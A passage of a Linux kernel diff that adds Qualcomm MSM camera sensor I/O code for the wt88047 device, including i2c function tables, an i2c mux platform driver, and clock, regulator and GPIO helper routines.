msm_camera_get_dt_gpio_set_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size); + +int msm_camera_init_gpio_pin_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size); + +int msm_camera_get_dt_vreg_data(struct device_node *of_node, + struct camera_vreg_t **cam_vreg, int *num_vreg); + +int msm_camera_power_up(struct msm_camera_power_ctrl_t *ctrl, + enum msm_camera_device_type_t device_type, + struct msm_camera_i2c_client *sensor_i2c_client); + +int msm_camera_power_down(struct msm_camera_power_ctrl_t *ctrl, + enum msm_camera_device_type_t device_type, + struct msm_camera_i2c_client *sensor_i2c_client); + +int msm_camera_fill_vreg_params(struct camera_vreg_t *cam_vreg, + int num_vreg, struct msm_sensor_power_setting *power_setting, + uint16_t power_setting_size); + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h new file mode 100644 index 0000000000000..1bceb515e79f9 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c.h @@ -0,0 +1,124 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CAMERA_CCI_I2C_H +#define MSM_CAMERA_CCI_I2C_H + +#include +#include +#include + +struct msm_camera_i2c_client { + struct msm_camera_i2c_fn_t *i2c_func_tbl; + struct i2c_client *client; + struct msm_camera_cci_client *cci_client; + struct msm_camera_spi_client *spi_client; + enum msm_camera_i2c_reg_addr_type addr_type; +}; + +struct msm_camera_i2c_fn_t { + int (*i2c_read) (struct msm_camera_i2c_client *, uint32_t, uint16_t *, + enum msm_camera_i2c_data_type); + int32_t (*i2c_read_seq)(struct msm_camera_i2c_client *, uint32_t, + uint8_t *, uint32_t); + int (*i2c_write) (struct msm_camera_i2c_client *, uint32_t, uint16_t, + enum msm_camera_i2c_data_type); + int (*i2c_write_seq) (struct msm_camera_i2c_client *, uint32_t , + uint8_t *, uint32_t); + int32_t (*i2c_write_table)(struct msm_camera_i2c_client *, + struct msm_camera_i2c_reg_setting *); + int32_t (*i2c_write_seq_table)(struct msm_camera_i2c_client *, + struct msm_camera_i2c_seq_reg_setting *); + int32_t (*i2c_write_table_w_microdelay) + (struct msm_camera_i2c_client *, + struct msm_camera_i2c_reg_setting *); + int32_t (*i2c_util)(struct msm_camera_i2c_client *, uint16_t); + int32_t (*i2c_write_conf_tbl)(struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, + enum msm_camera_i2c_data_type data_type); + int32_t (*i2c_poll)(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type); +}; + +int32_t msm_camera_cci_i2c_read(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t *data, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_cci_i2c_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte); + +int32_t msm_camera_cci_i2c_write(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_cci_i2c_write_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte); + +int32_t msm_camera_cci_i2c_write_table( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting); + +int32_t msm_camera_cci_i2c_write_seq_table( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_seq_reg_setting *write_setting); + +int32_t msm_camera_cci_i2c_write_table_w_microdelay( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting); + +int32_t msm_camera_cci_i2c_write_conf_tbl( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_sensor_cci_i2c_util(struct msm_camera_i2c_client *client, + uint16_t cci_cmd); + +int32_t msm_camera_cci_i2c_poll(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_qup_i2c_read(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t *data, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_qup_i2c_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte); + +int32_t msm_camera_qup_i2c_write(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_qup_i2c_write_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte); + +int32_t msm_camera_qup_i2c_write_table(struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting); + +int32_t msm_camera_qup_i2c_write_seq_table(struct msm_camera_i2c_client *client, + struct msm_camera_i2c_seq_reg_setting *write_setting); + +int32_t msm_camera_qup_i2c_write_table_w_microdelay( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting); + +int32_t msm_camera_qup_i2c_write_conf_tbl( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, + enum msm_camera_i2c_data_type data_type); + +int32_t msm_camera_qup_i2c_poll(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type); + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c new file mode 100644 index 0000000000000..cd2af2c2751ea --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.c @@ -0,0 +1,188 @@ +/* Copyright (c) 2011-2013, The Linux Foundatation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include "msm_camera_i2c_mux.h" + +/* TODO move this somewhere else */ +#define MSM_I2C_MUX_DRV_NAME "msm_cam_i2c_mux" +static int msm_i2c_mux_config(struct i2c_mux_device *mux_device, uint8_t *mode) +{ + uint32_t val; + val = msm_camera_io_r(mux_device->ctl_base); + if (*mode == MODE_DUAL) { + msm_camera_io_w(val | 0x3, mux_device->ctl_base); + } else if (*mode == MODE_L) { + msm_camera_io_w(((val | 0x2) & ~(0x1)), mux_device->ctl_base); + val = msm_camera_io_r(mux_device->ctl_base); + CDBG("the camio mode config left value is %d\n", val); + } else { + msm_camera_io_w(((val | 0x1) & ~(0x2)), mux_device->ctl_base); + val = msm_camera_io_r(mux_device->ctl_base); + CDBG("the camio mode config right value is %d\n", val); + } + return 0; +} + +static int msm_i2c_mux_init(struct i2c_mux_device *mux_device) +{ + int rc = 0, val = 0; + if (mux_device->use_count == 0) { + mux_device->ctl_base = ioremap(mux_device->ctl_mem->start, + resource_size(mux_device->ctl_mem)); + if (!mux_device->ctl_base) { + rc = -ENOMEM; + return rc; + } + mux_device->rw_base = ioremap(mux_device->rw_mem->start, + resource_size(mux_device->rw_mem)); + if (!mux_device->rw_base) { + rc = -ENOMEM; + iounmap(mux_device->ctl_base); + return rc; + } + val = msm_camera_io_r(mux_device->rw_base); + msm_camera_io_w((val | 0x200), mux_device->rw_base); + } + mux_device->use_count++; + return 0; +}; + +static int msm_i2c_mux_release(struct i2c_mux_device *mux_device) +{ + int val = 0; + mux_device->use_count--; + if (mux_device->use_count == 0) { + val = msm_camera_io_r(mux_device->rw_base); + msm_camera_io_w((val & ~0x200), mux_device->rw_base); + iounmap(mux_device->rw_base); + iounmap(mux_device->ctl_base); + } + return 0; +} + +static long msm_i2c_mux_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct i2c_mux_device *mux_device; + int rc = 0; + mux_device = v4l2_get_subdevdata(sd); + if (mux_device == NULL) { + rc = -ENOMEM; + return rc; + } + mutex_lock(&mux_device->mutex); + switch (cmd) { + case VIDIOC_MSM_I2C_MUX_CFG: + rc = msm_i2c_mux_config(mux_device, (uint8_t *) arg); + break; + case VIDIOC_MSM_I2C_MUX_INIT: + rc = msm_i2c_mux_init(mux_device); + break; + case VIDIOC_MSM_I2C_MUX_RELEASE: + rc = msm_i2c_mux_release(mux_device); + break; + default: + rc = -ENOIOCTLCMD; + } + mutex_unlock(&mux_device->mutex); + return rc; +} + +static struct v4l2_subdev_core_ops msm_i2c_mux_subdev_core_ops = { + .ioctl = &msm_i2c_mux_subdev_ioctl, +}; + +static const struct v4l2_subdev_ops msm_i2c_mux_subdev_ops = { + .core = &msm_i2c_mux_subdev_core_ops, +}; + +static int i2c_mux_probe(struct platform_device *pdev) +{ + struct i2c_mux_device *mux_device; + int rc = 0; + CDBG("%s: device id = %d\n", __func__, pdev->id); + mux_device = kzalloc(sizeof(struct i2c_mux_device), GFP_KERNEL); + if (!mux_device) { + pr_err("%s: no enough memory\n", __func__); + return -ENOMEM; + } + + v4l2_subdev_init(&mux_device->subdev, &msm_i2c_mux_subdev_ops); + v4l2_set_subdevdata(&mux_device->subdev, mux_device); + platform_set_drvdata(pdev, &mux_device->subdev); + mutex_init(&mux_device->mutex); + + mux_device->ctl_mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "i2c_mux_ctl"); + if (!mux_device->ctl_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto i2c_mux_no_resource; + } + mux_device->ctl_io = request_mem_region(mux_device->ctl_mem->start, + resource_size(mux_device->ctl_mem), pdev->name); + if (!mux_device->ctl_io) { + pr_err("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto i2c_mux_no_resource; + } + mux_device->rw_mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "i2c_mux_rw"); + if (!mux_device->rw_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto i2c_mux_no_resource; + } + mux_device->rw_io = request_mem_region(mux_device->rw_mem->start, + resource_size(mux_device->rw_mem), pdev->name); + if (!mux_device->rw_io) { + pr_err("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto i2c_mux_no_resource; + } + mux_device->pdev = pdev; + return 0; + +i2c_mux_no_resource: + mutex_destroy(&mux_device->mutex); + kfree(mux_device); + return 0; +} + +static struct platform_driver i2c_mux_driver = { + .probe = i2c_mux_probe, + .driver = { + .name = MSM_I2C_MUX_DRV_NAME, + .owner = THIS_MODULE, + }, +}; + +static int __init msm_camera_i2c_mux_init_module(void) +{ + return platform_driver_register(&i2c_mux_driver); +} + +static void __exit msm_camera_i2c_mux_exit_module(void) +{ + platform_driver_unregister(&i2c_mux_driver); +} + +module_init(msm_camera_i2c_mux_init_module); +module_exit(msm_camera_i2c_mux_exit_module); +MODULE_DESCRIPTION("MSM Camera I2C mux driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h new file mode 100644 index 0000000000000..30f908b12e155 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_i2c_mux.h @@ -0,0 +1,46 @@ +/* Copyright (c) 2011-2012, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_I2C_MUX_H +#define MSM_I2C_MUX_H + +#include +#include + +struct i2c_mux_device { + struct platform_device *pdev; + struct v4l2_subdev subdev; + struct resource *ctl_mem; + struct resource *ctl_io; + void __iomem *ctl_base; + struct resource *rw_mem; + struct resource *rw_io; + void __iomem *rw_base; + struct mutex mutex; + unsigned use_count; +}; + +struct i2c_mux_cfg_params { + struct v4l2_subdev *subdev; + void *parms; +}; + +#define VIDIOC_MSM_I2C_MUX_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct i2c_mux_cfg_params) + +#define VIDIOC_MSM_I2C_MUX_INIT \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct v4l2_subdev*) + +#define VIDIOC_MSM_I2C_MUX_RELEASE \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct v4l2_subdev*) + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c new file mode 100644 index 0000000000000..5485206225eaf --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.c @@ -0,0 +1,581 @@ +/* Copyright (c) 2011-2014, The Linux Foundataion. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_camera_io_util.h" + +#define BUFF_SIZE_128 128 + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +void msm_camera_io_w(u32 data, void __iomem *addr) +{ + CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); + writel_relaxed((data), (addr)); +} + +void msm_camera_io_w_mb(u32 data, void __iomem *addr) +{ + CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); + wmb(); + writel_relaxed((data), (addr)); + wmb(); +} + +u32 msm_camera_io_r(void __iomem *addr) +{ + uint32_t data = readl_relaxed(addr); + CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); + return data; +} + +u32 msm_camera_io_r_mb(void __iomem *addr) +{ + uint32_t data; + rmb(); + data = readl_relaxed(addr); + rmb(); + CDBG("%s: 0x%p %08x\n", __func__, (addr), (data)); + return data; +} + +void msm_camera_io_memcpy_toio(void __iomem *dest_addr, + void __iomem *src_addr, u32 len) +{ + int i; + u32 *d = (u32 *) dest_addr; + u32 *s = (u32 *) src_addr; + + for (i = 0; i < len; i++) + writel_relaxed(*s++, d++); +} + +void msm_camera_io_dump(void __iomem *addr, int size) +{ + char line_str[BUFF_SIZE_128], *p_str; + int i; + u32 *p = (u32 *) addr; + u32 data; + CDBG("%s: %p %d\n", __func__, addr, size); + line_str[0] = '\0'; + p_str = line_str; + for (i = 0; i < size/4; i++) { + if (i % 4 == 0) { + snprintf(p_str, 12, "0x%p: ", p); + p_str += 10; + } + data = readl_relaxed(p++); + snprintf(p_str, 12, "%d ", data); + p_str += 9; + if ((i + 1) % 4 == 0) { + CDBG("%s\n", line_str); + line_str[0] = '\0'; + p_str = line_str; + } + } + if (line_str[0] != '\0') + CDBG("%s\n", line_str); +} + +void msm_camera_io_memcpy(void __iomem *dest_addr, + void __iomem *src_addr, u32 len) +{ + CDBG("%s: %p %p %d\n", __func__, dest_addr, src_addr, len); + msm_camera_io_memcpy_toio(dest_addr, src_addr, len / 4); + msm_camera_io_dump(dest_addr, len); +} + +int msm_cam_clk_sel_src(struct device *dev, struct msm_cam_clk_info *clk_info, + struct msm_cam_clk_info *clk_src_info, int num_clk) +{ + int i; + int rc = 0; + struct clk *mux_clk = NULL; + struct clk *src_clk = NULL; + + for (i = 0; i < num_clk; i++) { + if (clk_src_info[i].clk_name) { + mux_clk = clk_get(dev, clk_info[i].clk_name); + if (IS_ERR(mux_clk)) { + pr_err("%s get failed\n", + clk_info[i].clk_name); + continue; + } + src_clk = clk_get(dev, clk_src_info[i].clk_name); + if (IS_ERR(src_clk)) { + pr_err("%s get failed\n", + clk_src_info[i].clk_name); + continue; + } + clk_set_parent(mux_clk, src_clk); + } + } + return rc; +} + +int msm_cam_clk_enable(struct device *dev, struct msm_cam_clk_info *clk_info, + struct clk **clk_ptr, int num_clk, int enable) +{ + int i; + int rc = 0; + long clk_rate; + if (enable) { + for (i = 0; i < num_clk; i++) { + CDBG("%s enable %s\n", __func__, + clk_info[i].clk_name); + clk_ptr[i] = clk_get(dev, clk_info[i].clk_name); + if (IS_ERR(clk_ptr[i])) { + pr_err("%s get failed\n", clk_info[i].clk_name); + rc = PTR_ERR(clk_ptr[i]); + goto cam_clk_get_err; + } + if (clk_info[i].clk_rate > 0) { + rc = clk_set_rate(clk_ptr[i], + clk_info[i].clk_rate); + if (rc < 0) { + pr_err("%s set failed\n", + clk_info[i].clk_name); + goto cam_clk_set_err; + } + } else if (clk_info[i].clk_rate == INIT_RATE) { + clk_rate = clk_get_rate(clk_ptr[i]); + if (clk_rate == 0) { + clk_rate = + clk_round_rate(clk_ptr[i], 0); + if (clk_rate < 0) { + pr_err("%s round rate failed\n", + clk_info[i].clk_name); + goto cam_clk_set_err; + } + rc = clk_set_rate(clk_ptr[i], + clk_rate); + if (rc < 0) { + pr_err("%s set rate failed\n", + clk_info[i].clk_name); + goto cam_clk_set_err; + } + } + } + rc = clk_prepare(clk_ptr[i]); + if (rc < 0) { + pr_err("%s prepare failed\n", + clk_info[i].clk_name); + goto cam_clk_prepare_err; + } + + rc = clk_enable(clk_ptr[i]); + if (rc < 0) { + pr_err("%s enable failed\n", + clk_info[i].clk_name); + goto cam_clk_enable_err; + } + if (clk_info[i].delay > 20) { + msleep(clk_info[i].delay); + } else if (clk_info[i].delay) { + usleep_range(clk_info[i].delay * 1000, + (clk_info[i].delay * 1000) + 1000); + } + } + } else { + for (i = num_clk - 1; i >= 0; i--) { + if (clk_ptr[i] != NULL) { + CDBG("%s disable %s\n", __func__, + clk_info[i].clk_name); + clk_disable(clk_ptr[i]); + clk_unprepare(clk_ptr[i]); + clk_put(clk_ptr[i]); + } + } + } + return rc; + + +cam_clk_enable_err: + clk_unprepare(clk_ptr[i]); +cam_clk_prepare_err: +cam_clk_set_err: + clk_put(clk_ptr[i]); +cam_clk_get_err: + for (i--; i >= 0; i--) { + if (clk_ptr[i] != NULL) { + clk_disable(clk_ptr[i]); + clk_unprepare(clk_ptr[i]); + clk_put(clk_ptr[i]); + } + } + return rc; +} + +int msm_camera_config_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, + int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, + int num_vreg_seq, struct regulator **reg_ptr, int config) +{ + int i = 0, j = 0; + int rc = 0; + struct camera_vreg_t *curr_vreg; + + if (num_vreg_seq > num_vreg) { + pr_err("%s:%d vreg sequence invalid\n", __func__, __LINE__); + return -EINVAL; + } + if (!num_vreg_seq) + num_vreg_seq = num_vreg; + + if (config) { + for (i = 0; i < num_vreg_seq; i++) { + if (vreg_seq) { + j = vreg_seq[i]; + if (j >= num_vreg) + continue; + } else + j = i; + curr_vreg = &cam_vreg[j]; + reg_ptr[j] = regulator_get(dev, + curr_vreg->reg_name); + if (IS_ERR(reg_ptr[j])) { + pr_err("%s: %s get failed\n", + __func__, + curr_vreg->reg_name); + reg_ptr[j] = NULL; + goto vreg_get_fail; + } + if (curr_vreg->type == REG_LDO) { + rc = regulator_set_voltage( + reg_ptr[j], + curr_vreg->min_voltage, + curr_vreg->max_voltage); + if (rc < 0) { + pr_err("%s: %s set voltage failed\n", + __func__, + curr_vreg->reg_name); + goto vreg_set_voltage_fail; + } + if (curr_vreg->op_mode >= 0) { + rc = regulator_set_optimum_mode( + reg_ptr[j], + curr_vreg->op_mode); + if (rc < 0) { + pr_err( + "%s:%s set optimum mode fail\n", + __func__, + curr_vreg->reg_name); + goto vreg_set_opt_mode_fail; + } + } + } + } + } else { + for (i = num_vreg_seq-1; i >= 0; i--) { + if (vreg_seq) { + j = vreg_seq[i]; + if (j >= num_vreg) + continue; + } else + j = i; + curr_vreg = &cam_vreg[j]; + if (reg_ptr[j]) { + if (curr_vreg->type == REG_LDO) { + if (curr_vreg->op_mode >= 0) { + regulator_set_optimum_mode( + reg_ptr[j], 0); + } + regulator_set_voltage( + reg_ptr[j], 0, curr_vreg-> + max_voltage); + } + regulator_put(reg_ptr[j]); + reg_ptr[j] = NULL; + } + } + } + return 0; + +vreg_unconfig: +if (curr_vreg->type == REG_LDO) + regulator_set_optimum_mode(reg_ptr[j], 0); + +vreg_set_opt_mode_fail: +if (curr_vreg->type == REG_LDO) + regulator_set_voltage(reg_ptr[j], 0, + curr_vreg->max_voltage); + +vreg_set_voltage_fail: + regulator_put(reg_ptr[j]); + reg_ptr[j] = NULL; + +vreg_get_fail: + for (i--; i >= 0; i--) { + if (vreg_seq) { + j = vreg_seq[i]; + if (j >= num_vreg) + continue; + } else + j = i; + curr_vreg = &cam_vreg[j]; + goto vreg_unconfig; + } + return -ENODEV; +} + +int msm_camera_enable_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, + int num_vreg, enum msm_camera_vreg_name_t *vreg_seq, + int num_vreg_seq, struct regulator **reg_ptr, int enable) +{ + int i = 0, j = 0, rc = 0; + + if (num_vreg_seq > num_vreg) { + pr_err("%s:%d vreg sequence invalid\n", __func__, __LINE__); + return -EINVAL; + } + if (!num_vreg_seq) + num_vreg_seq = num_vreg; + + if (enable) { + for (i = 0; i < num_vreg_seq; i++) { + if (vreg_seq) { + j = vreg_seq[i]; + if (j >= num_vreg) + continue; + } else + j = i; + if (IS_ERR(reg_ptr[j])) { + pr_err("%s: %s null regulator\n", + __func__, cam_vreg[j].reg_name); + goto disable_vreg; + } + rc = regulator_enable(reg_ptr[j]); + if (rc < 0) { + pr_err("%s: %s enable failed\n", + __func__, cam_vreg[j].reg_name); + goto disable_vreg; + } + if (cam_vreg[j].delay > 20) + msleep(cam_vreg[j].delay); + else if (cam_vreg[j].delay) + usleep_range(cam_vreg[j].delay * 1000, + (cam_vreg[j].delay * 1000) + 1000); + } + } else { + for (i = num_vreg_seq-1; i >= 0; i--) { + if (vreg_seq) { + j = vreg_seq[i]; + if (j >= num_vreg) + continue; + } else + j = i; + regulator_disable(reg_ptr[j]); + if (cam_vreg[j].delay > 20) + msleep(cam_vreg[j].delay); + else if (cam_vreg[j].delay) + usleep_range(cam_vreg[j].delay * 1000, + (cam_vreg[j].delay * 1000) + 1000); + } + } + return rc; +disable_vreg: + for (i--; i >= 0; i--) { + if (vreg_seq) { + j = vreg_seq[i]; + if (j >= num_vreg) + continue; + } else + j = i; + regulator_disable(reg_ptr[j]); + if (cam_vreg[j].delay > 20) + msleep(cam_vreg[j].delay); + else if (cam_vreg[j].delay) + usleep_range(cam_vreg[j].delay * 1000, + (cam_vreg[j].delay * 1000) + 1000); + } + return rc; +} + +void msm_camera_bus_scale_cfg(uint32_t bus_perf_client, + enum msm_bus_perf_setting perf_setting) +{ + int rc = 0; + if (!bus_perf_client) { + pr_err("%s: Bus Client NOT Registered!!!\n", __func__); + return; + } + + switch (perf_setting) { + case S_EXIT: + rc = msm_bus_scale_client_update_request(bus_perf_client, 1); + msm_bus_scale_unregister_client(bus_perf_client); + break; + case S_PREVIEW: + rc = msm_bus_scale_client_update_request(bus_perf_client, 1); + break; + case S_VIDEO: + rc = msm_bus_scale_client_update_request(bus_perf_client, 2); + break; + case S_CAPTURE: + rc = msm_bus_scale_client_update_request(bus_perf_client, 3); + break; + case S_ZSL: + rc = msm_bus_scale_client_update_request(bus_perf_client, 4); + break; + case S_LIVESHOT: + rc = msm_bus_scale_client_update_request(bus_perf_client, 5); + break; + case S_DEFAULT: + break; + default: + pr_warning("%s: INVALID CASE\n", __func__); + } +} + +int msm_camera_set_gpio_table(struct msm_gpio_set_tbl *gpio_tbl, + uint8_t gpio_tbl_size, int gpio_en) +{ + int rc = 0, i; + + if (gpio_en) { + for (i = 0; i < gpio_tbl_size; i++) { + gpio_set_value_cansleep(gpio_tbl[i].gpio, + gpio_tbl[i].flags); + usleep_range(gpio_tbl[i].delay, + gpio_tbl[i].delay + 1000); + } + } else { + for (i = gpio_tbl_size - 1; i >= 0; i--) { + if (gpio_tbl[i].flags) + gpio_set_value_cansleep(gpio_tbl[i].gpio, + GPIOF_OUT_INIT_LOW); + } + } + return rc; +} + +int msm_camera_config_single_vreg(struct device *dev, + struct camera_vreg_t *cam_vreg, struct regulator **reg_ptr, int config) +{ + int rc = 0; + if (config) { + if (!dev || !cam_vreg || !reg_ptr) { + pr_err("%s: get failed NULL parameter\n", __func__); + goto vreg_get_fail; + } + CDBG("%s enable %s\n", __func__, cam_vreg->reg_name); + *reg_ptr = regulator_get(dev, cam_vreg->reg_name); + if (IS_ERR_OR_NULL(*reg_ptr)) { + pr_err("%s: %s get failed\n", __func__, + cam_vreg->reg_name); + *reg_ptr = NULL; + goto vreg_get_fail; + } + if (cam_vreg->type == REG_LDO) { + rc = regulator_set_voltage( + *reg_ptr, cam_vreg->min_voltage, + cam_vreg->max_voltage); + if (rc < 0) { + pr_err("%s: %s set voltage failed\n", + __func__, cam_vreg->reg_name); + goto vreg_set_voltage_fail; + } + if (cam_vreg->op_mode >= 0) { + rc = regulator_set_optimum_mode(*reg_ptr, + cam_vreg->op_mode); + if (rc < 0) { + pr_err( + "%s: %s set optimum mode failed\n", + __func__, cam_vreg->reg_name); + goto vreg_set_opt_mode_fail; + } + } + } + rc = regulator_enable(*reg_ptr); + if (rc < 0) { + pr_err("%s: %s enable failed\n", + __func__, cam_vreg->reg_name); + goto vreg_unconfig; + } + } else { + if (*reg_ptr) { + CDBG("%s disable %s\n", __func__, cam_vreg->reg_name); + regulator_disable(*reg_ptr); + if (cam_vreg->type == REG_LDO) { + if (cam_vreg->op_mode >= 0) + regulator_set_optimum_mode(*reg_ptr, 0); + regulator_set_voltage( + *reg_ptr, 0, cam_vreg->max_voltage); + } + regulator_put(*reg_ptr); + *reg_ptr = NULL; + } + } + return 0; + +vreg_unconfig: +if (cam_vreg->type == REG_LDO) + regulator_set_optimum_mode(*reg_ptr, 0); + +vreg_set_opt_mode_fail: +if (cam_vreg->type == REG_LDO) + regulator_set_voltage(*reg_ptr, 0, cam_vreg->max_voltage); + +vreg_set_voltage_fail: + regulator_put(*reg_ptr); + *reg_ptr = NULL; + +vreg_get_fail: + return -ENODEV; +} + +int msm_camera_request_gpio_table(struct gpio *gpio_tbl, uint8_t size, + int gpio_en) +{ + int rc = 0, i = 0, err = 0; + + if (!gpio_tbl || !size) { + pr_err("%s:%d invalid gpio_tbl %p / size %d\n", __func__, + __LINE__, gpio_tbl, size); + return -EINVAL; + } + for (i = 0; i < size; i++) { + CDBG("%s:%d i %d, gpio %d dir %ld\n", __func__, __LINE__, i, + gpio_tbl[i].gpio, gpio_tbl[i].flags); + } + if (gpio_en) { + for (i = 0; i < size; i++) { + err = gpio_request_one(gpio_tbl[i].gpio, + gpio_tbl[i].flags, gpio_tbl[i].label); + if (err) { + /* + * After GPIO request fails, contine to + * apply new gpios, outout a error message + * for driver bringup debug + */ + pr_err("%s:%d gpio %d:%s request fails\n", + __func__, __LINE__, + gpio_tbl[i].gpio, gpio_tbl[i].label); + } + } + } else { + gpio_free_array(gpio_tbl, size); + } + return rc; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h new file mode 100644 index 0000000000000..0b71cd6e0a29a --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_io_util.h @@ -0,0 +1,58 @@ +/* Copyright (c) 2011-2014, The Linux Foundataion. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_CAMERA_IO_UTIL_H +#define __MSM_CAMERA_IO_UTIL_H + +#include +#include +#include +#include + +#define NO_SET_RATE -1 +#define INIT_RATE -2 + +void msm_camera_io_w(u32 data, void __iomem *addr); +void msm_camera_io_w_mb(u32 data, void __iomem *addr); +u32 msm_camera_io_r(void __iomem *addr); +u32 msm_camera_io_r_mb(void __iomem *addr); +void msm_camera_io_dump(void __iomem *addr, int size); +void msm_camera_io_memcpy(void __iomem *dest_addr, + void __iomem *src_addr, u32 len); +int msm_cam_clk_sel_src(struct device *dev, struct msm_cam_clk_info *clk_info, + struct msm_cam_clk_info *clk_src_info, int num_clk); +int msm_cam_clk_enable(struct device *dev, struct msm_cam_clk_info *clk_info, + struct clk **clk_ptr, int num_clk, int enable); + +int msm_camera_config_vreg(struct device *dev, struct camera_vreg_t *cam_vreg, + int num_vreg, enum msm_camera_vreg_name_t 